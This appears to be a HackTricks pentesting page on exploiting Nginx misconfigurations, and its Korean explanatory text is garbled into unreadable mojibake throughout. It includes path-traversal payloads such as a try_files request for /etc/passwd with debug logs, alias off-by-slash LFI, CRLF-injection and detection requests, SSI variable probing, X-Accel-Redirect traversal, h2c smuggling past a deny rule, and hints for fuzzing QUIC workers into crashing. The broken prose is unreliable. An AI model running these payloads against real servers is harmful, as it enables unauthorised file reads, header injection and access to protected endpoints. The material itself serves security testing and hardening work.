Nginx
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Missing root location
Nginx ์๋ฒ๋ฅผ ๊ตฌ์ฑํ ๋, root directive๋ ํ์ผ์ด ์ ๊ณต๋๋ ๊ธฐ๋ณธ ๋๋ ํฐ๋ฆฌ๋ฅผ ์ ์ํจ์ผ๋ก์จ ์ค์ํ ์ญํ ์ ํฉ๋๋ค. ์๋ ์์ ๋ฅผ ๋ณด์ธ์:
server {
root /etc/nginx;
location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}
์ด ๊ตฌ์ฑ์์๋ /etc/nginx๊ฐ ๋ฃจํธ ๋๋ ํฐ๋ฆฌ๋ก ์ง์ ๋์ด ์์ต๋๋ค. ์ด ์ค์ ์ /hello.txt์ ๊ฐ์ ์ง์ ๋ ๋ฃจํธ ๋๋ ํฐ๋ฆฌ ๋ด์ ํ์ผ์ ๋ํ ์ ๊ทผ์ ํ์ฉํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ค์ํ ์ ์ ์ค์ง ํน์ location (/hello.txt)๋ง ์ ์๋์ด ์๋ค๋ ๊ฒ์
๋๋ค. ๋ฃจํธ ์์น (location / {...})์ ๋ํ ๊ตฌ์ฑ์ ์์ต๋๋ค. ์ด ๋๋ฝ์ผ๋ก ์ธํด root ์ง์๋ฌธ์ ์ ์ญ์ ์ผ๋ก ์ ์ฉ๋์ด ๋ฃจํธ ๊ฒฝ๋ก /์ ๋ํ ์์ฒญ์ด /etc/nginx ์๋์ ํ์ผ์ ์ ๊ทผํ ์ ์๊ฒ ๋ฉ๋๋ค.
์ด ๊ตฌ์ฑ์ผ๋ก ์ธํด ์ฌ๊ฐํ ๋ณด์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ ์ ์์ต๋๋ค. ๊ฐ๋จํ GET ์์ฒญ(์: GET /nginx.conf)๋ง์ผ๋ก๋ /etc/nginx/nginx.conf์ ์์นํ Nginx ๊ตฌ์ฑ ํ์ผ์ ์ ๊ณตํ์ฌ ๋ฏผ๊ฐํ ์ ๋ณด๊ฐ ๋
ธ์ถ๋ ์ ์์ต๋๋ค. root๋ฅผ /etc์ ๊ฐ์ด ๋ฏผ๊ฐ๋๊ฐ ๋ฎ์ ๋๋ ํฐ๋ฆฌ๋ก ์ค์ ํ๋ฉด ์ด ์ํ์ ์ํํ ์ ์์ง๋ง, ์ฌ์ ํ ๋ค๋ฅธ ๊ตฌ์ฑ ํ์ผ์ด๋ ์ก์ธ์ค ๋ก๊ทธ, ์ฌ์ง์ด HTTP basic authentication์ ์ฌ์ฉ๋๋ ์ํธํ๋ ์๊ฒฉ ์ฆ๋ช
๋ฑ ๋ค๋ฅธ ์ค์ํ ํ์ผ์ ๋ํ ์๋์น ์์ ์ ๊ทผ์ ํ์ฉํ ์ ์์ต๋๋ค.
Alias LFI ๊ตฌ์ฑ ์ค๋ฅ
Nginx์ ๊ตฌ์ฑ ํ์ผ์์๋ โlocationโ ์ง์๋ฌธ์ ๋ฉด๋ฐํ ์ ๊ฒํด์ผ ํฉ๋๋ค. Local File Inclusion (LFI)๋ก ์๋ ค์ง ์ทจ์ฝ์ ์ ๋ค์๊ณผ ์ ์ฌํ ๊ตฌ์ฑ์์ ์๋์น ์๊ฒ ๋์ ๋ ์ ์์ต๋๋ค:
location /imgs {
alias /path/images/;
}
์ด ๊ตฌ์ฑ์ ์๋ฒ๊ฐ /imgs../flag.txt ๊ฐ์ ์์ฒญ์ ์๋๋ ๋๋ ํฐ๋ฆฌ ๋ฐ์ ํ์ผ์ ์ ๊ทผํ๋ ค๋ ์๋๋ก ํด์ํ์ฌ ์ค์ ๋ก๋ /path/images/../flag.txt๋ก ํด์๋๊ธฐ ๋๋ฌธ์ LFI ๊ณต๊ฒฉ์ ์ทจ์ฝํฉ๋๋ค. ์ด ๊ฒฐํจ์ ํตํด ๊ณต๊ฒฉ์๋ ์น์ผ๋ก๋ ์ ๊ทผํ ์ ์์ด์ผ ํ ์๋ฒ ํ์ผ์์คํ
์ ํ์ผ์ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค.
์ด ์ทจ์ฝ์ ์ ์ํํ๋ ค๋ฉด ๊ตฌ์ฑ์ ๋ค์๊ณผ ๊ฐ์ด ์กฐ์ ํด์ผ ํฉ๋๋ค:
location /imgs/ {
alias /path/images/;
}
์์ธํ ์ ๋ณด: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/
Accunetix ํ ์คํธ:
alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403
Unsafe path restriction
๋ค์ ํ์ด์ง๋ฅผ ํ์ธํด ๋ค์๊ณผ ๊ฐ์ ๋๋ ํฐ๋ธ๋ฅผ ์ฐํํ๋ ๋ฐฉ๋ฒ์ ์์๋ณด์ธ์:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Proxy / WAF Protections Bypass
์์ ํ์ง ์์ ๋ณ์ ์ฌ์ฉ / HTTP Request Splitting
Caution
์ทจ์ฝํ ๋ณ์
$uri๋ฐ$document_uri๊ฐ ์์ผ๋ฉฐ, ์ด๋$request_uri๋ก ๊ต์ฒดํ๋ฉด ํด๊ฒฐ๋ฉ๋๋ค.์ ๊ท์๋ ๋ค์๊ณผ ๊ฐ์ด ์ทจ์ฝํ ์ ์์ต๋๋ค:
location ~ /docs/([^/])? { โฆ $1 โฆ }- ์ทจ์ฝ
location ~ /docs/([^/\s])? { โฆ $1 โฆ }- ์ทจ์ฝํ์ง ์์ (๊ณต๋ฐฑ ๊ฒ์ฌ)
location ~ /docs/(.*)? { โฆ $1 โฆ }- ์ทจ์ฝํ์ง ์์
A vulnerability in Nginx configuration is demonstrated by the example below:
location / {
return 302 https://example.com$uri;
}
\r (Carriage Return)์ \n (Line Feed) ๋ฌธ์๋ HTTP ์์ฒญ์์ ์ค๋ฐ๊ฟ ๋ฌธ์๋ฅผ ์๋ฏธํ๋ฉฐ, ์ด๋ค์ URL-encoded ํํ๋ %0d%0a๋ก ํ์๋ฉ๋๋ค. ์ด๋ฌํ ๋ฌธ์๋ฅผ ์์ฒญ(์: http://localhost/%0d%0aDetectify:%20clrf)์ ํฌํจ์์ผ ์๋ชป ๊ตฌ์ฑ๋ ์๋ฒ๋ก ๋ณด๋ด๋ฉด, ์๋ฒ๋ Detectify๋ผ๋ ์ด๋ฆ์ ์๋ก์ด ํค๋๋ฅผ ๋ฐํํฉ๋๋ค. ์ด๋ $uri ๋ณ์๊ฐ URL-encoded๋ ์ค๋ฐ๊ฟ ๋ฌธ์๋ฅผ ๋์ฝ๋ํ์ฌ ์๋ต์ ์๊ธฐ์น ์์ ํค๋๊ฐ ํฌํจ๋๊ธฐ ๋๋ฌธ์
๋๋ค:
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf
CRLF injection๊ณผ response splitting์ ์ํ์ ๋ํด ์์ธํ ์์๋ณด๋ ค๋ฉด https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.
๋ํ ์ด ๊ธฐ๋ฒ์ explained in this talk์์ ๋ช ๊ฐ์ง ์ทจ์ฝํ ์์ ์ ํ์ง ๋ฉ์ปค๋์ฆ๊ณผ ํจ๊ป ์ค๋ช ๋์ด ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ๋ธ๋๋ฐ์ค ๊ด์ ์์ ์ด misconfiguration์ ํ์งํ๋ ค๋ฉด ๋ค์ ์์ฒญ๋ค์ ๋ณด๋ผ ์ ์์ต๋๋ค:
https://example.com/%20X- Any HTTP codehttps://example.com/%20H- 400 Bad Request
์ทจ์ฝํ ๊ฒฝ์ฐ, ์ฒซ ๋ฒ์งธ๋ โXโ๊ฐ ์์์ HTTP method๋ก ๋ฐ์๋ค์ฌ์ ธ ์๋ต์ ๋ฐํํ ์ ์๊ณ , ๋ ๋ฒ์งธ๋ H๊ฐ ์ ํจํ method๊ฐ ์๋์ด์ ์ค๋ฅ๋ฅผ ๋ฐํํฉ๋๋ค. ๋ฐ๋ผ์ ์๋ฒ๋ GET / H HTTP/1.1 ๊ฐ์ ์์ฒญ์ ๋ฐ๊ฒ ๋์ด ์ค๋ฅ๊ฐ ๋ฐ์ํฉ๋๋ค.
๋ ๋ค๋ฅธ ํ์ง ์์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x- Any HTTP codehttp://company.tld/%20HTTP/1.1%0D%0AHost:%20x- 400 Bad Request
ํด๋น ๊ฐ์ฐ์์ ์ ์๋ ์ผ๋ถ ์ทจ์ฝ ๊ตฌ์ฑ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ์ต์ข
URL์์ **
$uri**๊ฐ ์๋ ๊ทธ๋๋ก ์ค์ ๋ ๊ฒ์ ์ฃผ๋ชฉํ์ธ์
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
- ๋ค์ ํ ๋ฒ **
$uri**๊ฐ URL์ ์๋ ๊ฒ์ ์ฃผ๋ชฉํ์ธ์(์ด๋ฒ์๋ ํ๋ผ๋ฏธํฐ ์์ ์์)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
- ์ด์ AWS S3์์
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}
์์์ ๋ณ์
์ฌ์ฉ์ ์ ๊ณต ๋ฐ์ดํฐ๊ฐ ํน์ ์ํฉ์์ Nginx ๋ณ์๋ก ์ฒ๋ฆฌ๋ ์ ์์์ด ๋ฐ๊ฒฌ๋์๋ค. ์ด ๋์์ ์์ธ์ ๋ค์ ๋ถ๋ช ํํ์ง๋ง, ๋๋ฌผ์ง๋ ์๊ณ ๊ฒ์ฆ๋ ๊ฐ๋จํ์ง ์๋ค. ์ด ์ด์ ๋์์ HackerOne์ ๊ฒ์๋ ๋ณด์ ๋ณด๊ณ ์์์ ์ง์ ๋์์ผ๋ฉฐ, here์์ ํ์ธํ ์ ์๋ค. ์ค๋ฅ ๋ฉ์์ง๋ฅผ ๋ ์กฐ์ฌํ ๊ฒฐ๊ณผ, ํด๋น ๋ฌธ์ ๊ฐ SSI filter module of Nginxโs codebase์์ ๋ฐ์ํจ์ด ํ์ธ๋์ด Server Side Includes (SSI)๊ฐ ๊ทผ๋ณธ ์์ธ์ผ๋ก ์ง๋ชฉ๋์๋ค.
์ด ์๋ชป๋ ๊ตฌ์ฑ์ ํ์งํ๋ ค๋ฉด, ๋ค์ ๋ช ๋ น์ ์คํํ์ฌ referer ํค๋๋ฅผ ์ค์ ํ๊ณ ๋ณ์ ์ถ๋ ฅ ์ฌ๋ถ๋ฅผ ํ ์คํธํ ์ ์๋ค:
$ curl -H โReferer: barโ http://localhost/foo$http_referer | grep โfoobarโ
์ด๋ฌํ ์๋ชป๋ ๊ตฌ์ฑ์ ๋ํ ์์คํ ์ ๋ฐ์ ์ค์บ์์ Nginx ๋ณ์๊ฐ ์ฌ์ฉ์์ ์ํด ์ถ๋ ฅ๋ ์ ์๋ ์ฌ๋ฌ ์ฌ๋ก๊ฐ ๋ฐ๊ฒฌ๋์๋ค. ๊ทธ๋ฌ๋ ์ทจ์ฝํ ์ธ์คํด์ค ์์ ๊ฐ์๋ ์ด ๋ฌธ์ ๋ฅผ ํจ์นํ๋ ค๋ ๋ ธ๋ ฅ์ด ์ด๋ ์ ๋ ์ฑ๊ณตํ์์ ์์ฌํ๋ค.
try_files๋ฅผ $URI$ARGS ๋ณ์์ ํจ๊ป ์ฌ์ฉํ๊ธฐ
๋ค์๊ณผ ๊ฐ์ Nginx ์๋ชป๋ ๊ตฌ์ฑ์ LFI ์ทจ์ฝ์ ์ผ๋ก ์ด์ด์ง ์ ์๋ค:
location / {
try_files $uri$args $uri$args/ /index.html;
}
๊ตฌ์ฑ์์ try_files ๋๋ ํฐ๋ธ๋ ์ง์ ๋ ์์๋๋ก ํ์ผ์ ์กด์ฌ๋ฅผ ํ์ธํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. Nginx๋ ๋ฐ๊ฒฌ๋๋ ์ฒซ ๋ฒ์งธ ํ์ผ์ ์ ๊ณตํฉ๋๋ค. ๋ค์์ try_files ๋๋ ํฐ๋ธ์ ๊ธฐ๋ณธ ๊ตฌ๋ฌธ์
๋๋ค:
try_files file1 file2 ... fileN fallback;
Nginx๋ ์ง์ ๋ ์์๋๋ก ๊ฐ ํ์ผ์ ์กด์ฌ๋ฅผ ํ์ธํฉ๋๋ค. ํ์ผ์ด ์กด์ฌํ๋ฉด ์ฆ์ ์ ๊ณต๋ฉ๋๋ค. ์ง์ ๋ ํ์ผ๋ค์ด ๋ชจ๋ ์กด์ฌํ์ง ์์ผ๋ฉด ์์ฒญ์ ๋ค๋ฅธ URI๋ ํน์ ์ค๋ฅ ํ์ด์ง๊ฐ ๋ ์ ์๋ ๋์ฒด ์ต์ ์ผ๋ก ์ ๋ฌ๋ฉ๋๋ค.
ํ์ง๋ง ์ด ์ง์๋ฌธ์์ $uri$args ๋ณ์๋ฅผ ์ฌ์ฉํ ๊ฒฝ์ฐ, Nginx๋ ์์ฒญ URI์ ์ฟผ๋ฆฌ ๋ฌธ์์ด ์ธ์๋ฅผ ๊ฒฐํฉํ ๊ฒ๊ณผ ์ผ์นํ๋ ํ์ผ์ ์ฐพ์ผ๋ ค๊ณ ์๋ํฉ๋๋ค. ๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ ์ด ๊ตฌ์ฑ์ ์ ์ฉํ ์ ์์ต๋๋ค:
http {
server {
root /var/www/html/public;
location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}
๋ค์ ํ์ด๋ก๋:
GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com
์ฐ๋ฆฌ์ payload๋ฅผ ์ฌ์ฉํด root ๋๋ ํฐ๋ฆฌ(Nginx ๊ตฌ์ฑ์์ ์ ์๋)๋ฅผ ํ์ถํ๊ณ /etc/passwd ํ์ผ์ ๋ก๋ํฉ๋๋ค. ๋๋ฒ๊ทธ ๋ก๊ทธ์์ Nginx๊ฐ ํ์ผ์ ์ด๋ป๊ฒ ์๋ํ๋์ง ๊ด์ฐฐํ ์ ์์ต๋๋ค:
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
PoC against Nginx using the configuration mentioned above:

๋ฐฑ์๋ ์์ ์๋ต ์ฝ๊ธฐ
Nginx๋ proxy_pass๋ฅผ ํตํด ๋ฐฑ์๋์์ ์์ฑ๋ ์ค๋ฅ์ HTTP ํค๋๋ฅผ ๊ฐ๋ก์ฑ ๋ด๋ถ ์ค๋ฅ ๋ฉ์์ง์ ํค๋๋ฅผ ์จ๊ธธ ์ ์๋ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค. ์ด๋ Nginx๊ฐ ๋ฐฑ์๋ ์ค๋ฅ์ ๋ํด ์ปค์คํ
์๋ฌ ํ์ด์ง๋ฅผ ์ ๊ณตํจ์ผ๋ก์จ ์คํ๋ฉ๋๋ค. ๊ทธ๋ฌ๋ Nginx๊ฐ ์๋ชป๋ HTTP ์์ฒญ์ ๋ง๋ฌ์ ๋ ๋ฌธ์ ๊ฐ ๋ฐ์ํฉ๋๋ค. ๊ทธ๋ฌํ ์์ฒญ์ ๋ฐ์ ๊ทธ๋๋ก ๋ฐฑ์๋๋ก ์ ๋ฌ๋๋ฉฐ, ๋ฐฑ์๋์ ์์ ์๋ต์ด Nginx์ ๊ฐ์
์์ด ํด๋ผ์ด์ธํธ๋ก ์ง์ ์ ์ก๋ฉ๋๋ค.
์๋ฅผ ๋ค์ด uWSGI ์ ํ๋ฆฌ์ผ์ด์ ์ ํฌํจํ ์๋๋ฆฌ์ค๋ฅผ ๊ณ ๋ คํด๋ณด๊ฒ ์ต๋๋ค:
def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]
์ด๋ฅผ ๊ด๋ฆฌํ๊ธฐ ์ํด Nginx ๊ตฌ์ฑ์์๋ ํน์ ์ง์์ด๊ฐ ์ฌ์ฉ๋ฉ๋๋ค:
http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
- proxy_intercept_errors: ์ด ๋๋ ํฐ๋ธ๋ ์ํ ์ฝ๋๊ฐ 300๋ณด๋ค ํฐ ๋ฐฑ์๋ ์๋ต์ ๋ํด Nginx๊ฐ ์ปค์คํ
์๋ต์ ์ ๊ณตํ๋๋ก ํฉ๋๋ค. ์์ uWSGI ์ ํ๋ฆฌ์ผ์ด์
์์
500 Error์๋ต์ด ๊ฐ๋ก์ฑ์ ธ Nginx์์ ์ฒ๋ฆฌ๋๋๋ก ๋ณด์ฅํฉ๋๋ค. - proxy_hide_header: ์ด๋ฆ ๊ทธ๋๋ก, ์ด ๋๋ ํฐ๋ธ๋ ์ง์ ๋ HTTP ํค๋๋ฅผ ํด๋ผ์ด์ธํธ์๊ฒ ์จ๊ฒจ ํ๋ผ์ด๋ฒ์์ ๋ณด์์ ํฅ์์ํต๋๋ค.
์ ํจํ GET ์์ฒญ์ด ๋ค์ด์ค๋ฉด Nginx๋ ์ ์์ ์ผ๋ก ์ฒ๋ฆฌํ์ฌ ๋น๋ฐ ํค๋๋ฅผ ๋๋ฌ๋ด์ง ์๋ ํ์ค ์ค๋ฅ ์๋ต์ ๋ฐํํฉ๋๋ค. ๊ทธ๋ฌ๋ ์๋ชป๋ HTTP ์์ฒญ์ ์ด ๋ฉ์ปค๋์ฆ์ ์ฐํํ์ฌ ๋น๋ฐ ํค๋์ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ํฌํจํ ์์ ๋ฐฑ์๋ ์๋ต์ด ๋
ธ์ถ๋ฉ๋๋ค.
merge_slashes๋ฅผ off๋ก ์ค์
๊ธฐ๋ณธ์ ์ผ๋ก Nginx์ merge_slashes directive๋ **on**์ผ๋ก ์ค์ ๋์ด ์์ด URL์ ์ฌ๋ฌ ๊ฐ์ ์ฌ๋์๋ฅผ ํ๋์ ์ฌ๋์๋ก ์์ถํฉ๋๋ค. ์ด ๊ธฐ๋ฅ์ URL ์ฒ๋ฆฌ๋ฅผ ๊ฐ์ํํ์ง๋ง, ํนํ local file inclusion (LFI) ๊ณต๊ฒฉ์ ์ทจ์ฝํ ์ ํ๋ฆฌ์ผ์ด์
์ ๊ฒฝ์ฐ Nginx ๋ค์ ์๋ ์ทจ์ฝ์ ์ ์๋์น ์๊ฒ ์จ๊ธธ ์ ์์ต๋๋ค. ๋ณด์ ์ ๋ฌธ๊ฐ Danny Robinson and Rotem Bar๋ ํนํ Nginx๊ฐ reverse-proxy๋ก ๋์ํ ๋ ์ด ๊ธฐ๋ณธ ๋์๊ณผ ๊ด๋ จ๋ ์ ์ฌ์ ์ํ์ ๊ฐ์กฐํ์ต๋๋ค.
์ด๋ฌํ ์ํ์ ์ํํ๋ ค๋ฉด ์ด๋ฌํ ์ทจ์ฝ์ ์ ์ทจ์ฝํ ์ ํ๋ฆฌ์ผ์ด์
์ ๋ํด merge_slashes directive๋ฅผ off๋ก ์ค์ ํ๋ ๊ฒ์ ๊ถ์ฅํฉ๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด Nginx๊ฐ URL ๊ตฌ์กฐ๋ฅผ ๋ณ๊ฒฝํ์ง ์๊ณ ์์ฒญ์ ์ ํ๋ฆฌ์ผ์ด์
์ผ๋ก ์ ๋ฌํ๋ฏ๋ก ๊ทผ๋ณธ์ ์ธ ๋ณด์ ๋ฌธ์ ๋ฅผ ๊ฐ๋ฆฌ์ง ์์ต๋๋ค.
For more information check Danny Robinson and Rotem Bar.
Maclicious Response Headers
As shown in this writeup, ์น ์๋ฒ์ ์๋ต์ ํน์ ํค๋๋ค์ด ํฌํจ๋๋ฉด Nginx proxy์ ๋์์ด ๋ณ๊ฒฝ๋ฉ๋๋ค. ํด๋น ํค๋๋ค์ in the docs์์ ํ์ธํ ์ ์์ต๋๋ค:
X-Accel-Redirect: Indicate Nginx to internally redirect a request to a specified location.X-Accel-Buffering: Controls whether Nginx should buffer the response or not.X-Accel-Charset: Sets the character set for the response when using X-Accel-Redirect.X-Accel-Expires: Sets the expiration time for the response when using X-Accel-Redirect.X-Accel-Limit-Rate: Limits the rate of transfer for responses when using X-Accel-Redirect.
์๋ฅผ ๋ค์ด, ํค๋ **X-Accel-Redirect**๋ nginx์์ ๋ด๋ถ redirect๋ฅผ ๋ฐ์์ํต๋๋ค. ๋ฐ๋ผ์ nginx ์ค์ ์ root / ๊ฐ์ ๊ฒ์ด ์๊ณ ์น ์๋ฒ์ ์๋ต์ **X-Accel-Redirect: .env**๊ฐ ํฌํจ๋๋ฉด nginx๋ **/.env**์ ๋ด์ฉ์ ์ ์กํ๊ฒ ๋ฉ๋๋ค (Path Traversal).
map directive์ ๊ธฐ๋ณธ๊ฐ
Nginx ๊ตฌ์ฑ์์ map ๋๋ ํฐ๋ธ๋ ์ข
์ข
**๊ถํ ์ ์ด (authorization control)**์ ์ฌ์ฉ๋ฉ๋๋ค. ํํ ์ค์๋ default ๊ฐ์ ์ง์ ํ์ง ์๋ ๊ฒ์ผ๋ก, ์ด๋ก ์ธํด ๋ฌด๋จ ์ ๊ทผ์ด ๋ฐ์ํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด:
http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}
default์ด ์์ผ๋ฉด, malicious user๊ฐ /map-poc ๋ด์ undefined URI์ ์ ๊ทผํ์ฌ ๋ณด์์ ์ฐํํ ์ ์์ต๋๋ค. The Nginx manual์ ์ด๋ฌํ ๋ฌธ์ ๋ฅผ ํผํ๊ธฐ ์ํด default value๋ฅผ ์ค์ ํ ๊ฒ์ ๊ถ๊ณ ํฉ๋๋ค.
DNS Spoofing Vulnerability
ํน์ ์กฐ๊ฑด์์๋ Nginx์ ๋ํ DNS spoofing์ด ๊ฐ๋ฅํฉ๋๋ค. ๊ณต๊ฒฉ์(attacker)๊ฐ Nginx๊ฐ ์ฌ์ฉํ๋ DNS server๋ฅผ ์๊ณ ๊ทธ DNS queries๋ฅผ ๊ฐ๋ก์ฑ ์ ์๋ค๋ฉด, DNS ๋ ์ฝ๋๋ฅผ spoofํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ Nginx๊ฐ DNS ํด์์ **localhost (127.0.0.1)**์ ์ฌ์ฉํ๋๋ก ๊ตฌ์ฑ๋์ด ์์ผ๋ฉด ์ด ๋ฐฉ๋ฒ์ ํจ๊ณผ๊ฐ ์์ต๋๋ค. Nginx๋ ๋ค์๊ณผ ๊ฐ์ด DNS server๋ฅผ ์ง์ ํ ์ ์์ต๋๋ค:
resolver 8.8.8.8;
proxy_pass ๋ฐ internal ์ง์์
proxy_pass ์ง์์๋ ์์ฒญ์ ๋ด๋ถ ๋๋ ์ธ๋ถ์ ๋ค๋ฅธ ์๋ฒ๋ก ๋ฆฌ๋๋ ์
ํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. internal ์ง์์๋ ํน์ location์ด Nginx ๋ด๋ถ์์๋ง ์ ๊ทผ ๊ฐ๋ฅํ๋๋ก ๋ณด์ฅํฉ๋๋ค. ์ด๋ฌํ ์ง์์๋ค ์์ฒด๊ฐ ๊ณง๋ฐ๋ก ์ทจ์ฝ์ ์ ์๋์ง๋ง, ๋ณด์ ๋๋ฝ์ ๋ฐฉ์งํ๋ ค๋ฉด ๊ตฌ์ฑ ์ค์ ์ ๋ฉด๋ฐํ ๊ฒํ ํด์ผ ํฉ๋๋ค.
proxy_set_header Upgrade & Connection
nginx ์๋ฒ๊ฐ Upgrade ๋ฐ Connection ํค๋๋ฅผ ์ ๋ฌํ๋๋ก ๊ตฌ์ฑ๋ ๊ฒฝ์ฐ, h2c Smuggling attack๋ฅผ ํตํด ๋ณดํธ๋/๋ด๋ถ ์๋ํฌ์ธํธ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
Caution
์ด ์ทจ์ฝ์ ์ ๊ณต๊ฒฉ์๊ฐ
proxy_pass์๋ํฌ์ธํธ(์ด ๊ฒฝ์ฐhttp://backend:9999)์ ์ง์ ์ฐ๊ฒฐ์ ์๋ฆฝํ ์ ์๊ฒ ํ๋ฉฐ, ํด๋น ์ฐ๊ฒฐ์ ์ฝํ ์ธ ๋ nginx์ ์ํด ๊ฒ์ฌ๋์ง ์์ต๋๋ค.
Example of vulnerable configuration to steal /flag from here:
server {
listen 443 ssl;
server_name localhost;
ssl_certificate /usr/local/nginx/conf/cert.pem;
ssl_certificate_key /usr/local/nginx/conf/privkey.pem;
location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}
location /flag {
deny all;
}
Warning
proxy_pass๊ฐhttp://backend:9999/socket.io๊ฐ์ ํน์ ๊ฒฝ๋ก๋ฅผ ๊ฐ๋ฆฌํค๊ณ ์๋๋ผ๋ ์ฐ๊ฒฐ์http://backend:9999๋ก ์ค์ ๋๋ฏ๋ก ๋ด๋ถ ์๋ํฌ์ธํธ ์์ ๋ค๋ฅธ ๊ฒฝ๋ก๋ก ์ ๊ทผํ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ proxy_pass์ URL์ ๊ฒฝ๋ก๊ฐ ์ง์ ๋์ด ์์ด๋ ์๊ด์์ต๋๋ค.
HTTP/3 QUIC module remote DoS & leak (2024)
2024๋
์ Nginx๋ CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 ๋ฐ CVE-2024-35200์ ๊ณต๊ฐํ์ผ๋ฉฐ, ์ด๋ ngx_http_v3_module๊ฐ ์ปดํ์ผ๋์ด ์๊ณ listen ... quic ์์ผ์ด ๋
ธ์ถ๋ ๊ฒฝ์ฐ ํ๋์ ์
์์ ์ธ QUIC ์ธ์
์ด ์์ปค ํ๋ก์ธ์ค๋ฅผ ์ถฉ๋์ํค๊ฑฐ๋ ๋ฉ๋ชจ๋ฆฌ๋ฅผ leakํ ์ ์์์ ๋ณด์ฌ์ค๋๋ค. ์ํฅ๋ฐ๋ ๋น๋๋ 1.25.0โ1.25.5 ๋ฐ 1.26.0์ด๋ฉฐ, 1.27.0/1.26.1์๋ ์์ ์ด ํฌํจ๋์ด ์์ต๋๋ค; ๋ฉ๋ชจ๋ฆฌ ๊ณต๊ฐ(CVE-2024-34161)๋ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ๋
ธ์ถํ๋ ค๋ฉด MTU๊ฐ 4096๋ฐ์ดํธ๋ณด๋ค ์ปค์ผ ํฉ๋๋ค(์์ธํ ๋ด์ฉ์ ์๋์ 2024 nginx ๊ถ๊ณ ๋ฌธ ์ฐธ์กฐ).
Recon & exploitation hints
- HTTP/3๋ opt-in์ด๋ฏ๋ก
Alt-Svc: h3=":443"์๋ต์ ์ค์บํ๊ฑฐ๋ UDP/443์์ QUIC ํธ๋์ ฐ์ดํฌ๋ฅผ ๋ธ๋ฃจํธํฌ์คํ์ธ์; ํ์ธ๋๋ฉด ์ปค์คํ quiche-client/nghttp3ํ์ด๋ก๋๋ก ํธ๋์ ฐ์ดํฌ์ STREAM ํ๋ ์์ fuzzํ์ฌ ์์ปค ์ถฉ๋์ ์ ๋ฐํ๊ณ log leakage๋ฅผ ๊ฐ์ ํ์ธ์. - ๋์์ ์ง์์ ๋น ๋ฅด๊ฒ ์๋ณํ๋ ค๋ฉด:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/
TLS session resumption bypass of client cert auth (CVE-2025-23419)
2025๋
